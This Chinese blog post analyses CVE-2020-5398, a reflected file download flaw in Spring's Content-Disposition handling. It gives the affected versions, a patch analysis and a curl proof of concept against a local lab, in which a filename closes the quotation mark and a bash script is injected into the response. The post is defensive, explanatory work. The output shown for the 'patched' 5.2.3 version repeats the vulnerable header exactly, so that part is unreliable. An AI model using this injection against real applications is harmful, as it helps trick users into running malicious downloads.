CVE-2020-5398:Spring MVC_RFD

很久没有更新博文了,谢谢大家一直以来的支持,后续有时间会继续分享相关的技术知识,也希望大家一起参与技术讨论与交流~

影响范围

  • Spring Framework 5.2.0 - 5.2.2
  • Spring Framework 5.1.0 - 5.1.12
  • Spring Framework 5.0.0 - 5.0.15

漏洞类型

反射型文件下载漏洞(RFD)

利用条件

1、响应header是通过org.springframework.http.ContentDisposition进行添加的

2、文件名是通过以下方式之一设置的:

  • ContentDisposition.Builder#filename(String)
  • ContentDisposition.Builder#filename(String, US_ASCII)

3、filename的值来自用户提供的输入

4、应用程序未清除用户提供的输入

5、攻击者已将下载的响应内容中注入恶意命令

攻击者可利用RFD漏洞,结合社工等方式,让用户下载一个恶意文件并执行,从而危害用户的终端安全。

漏洞概述

2020年1月16日,Pivotal Software(Spring系列)官方发布 Spring Framework 存在 RFD(反射型文件下载漏洞)的漏洞报告,此漏洞为攻击客户端的漏洞,官方将漏洞严重程度评为高。报告指出,当响应中设置了“Content-Disposition”头且filename属性是用户可控时容易受到RFD攻击。

漏洞复现

环境搭建

下载环境:git clone https://github.com/motikan2010/CVE-2020-5398.git
运行环境:./gradlew bootrun

CVE-2020-5398:Spring MVC_RFD_第1张图片

CVE-2020-5398:Spring MVC_RFD_第2张图片

漏洞复现

使用curl请求如下:

curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -

CVE-2020-5398:Spring MVC_RFD_第3张图片

补丁分析

此漏洞由于Spring Framework并没有对filename传入的文件名进行严格的安全检测,攻击者可以通过截断的方式控制filename变量值,下载任意格式的文件。

漏洞点存在于ContentDisposition.java 中,SpringFramework对于响应包中http头部的Content-Disposition字段没有严格的检测。漏洞修复补丁如下图:

https://github.com/spring-projects/spring-framework/commit/956ffe68587c8d5f21135b5ce4650af0c2dea933

CVE-2020-5398:Spring MVC_RFD_第4张图片

旧版本对于filename变量的处理只是简单的通过双引号分割的方式获取用户传入的filename变量值,攻击者可以通过构造闭合双引号的方式,截断双引号后面的字符串,从而达到控制文件名的目的。新版本中添加escapeQuotationsInFilename方法限制了filename中双引号的危害,escapeQuotationsInFilename方法会将filename中的字符串逐一检测,如果存在双引号,则用注释符注释双引号,从而破坏了双引号的功能。

漏洞POC

Spring Web 5.2.2

curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT

#!/bin/bash
id

开始下载sample.sh文件~

Spring Web 5.2.3

curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT

#!/bin/bash
id

开始下载sample.sh";.txt文件~

防护措施

官方发布的最新版本已经修复了此漏洞,受影响的用户可以下载最新版本防御此漏洞。 

下载链接:https://github.com/spring-projects/spring-framework

参考链接

https://github.com/motikan2010/CVE-2020-5398

 

你可能感兴趣的:(———CVE-2020)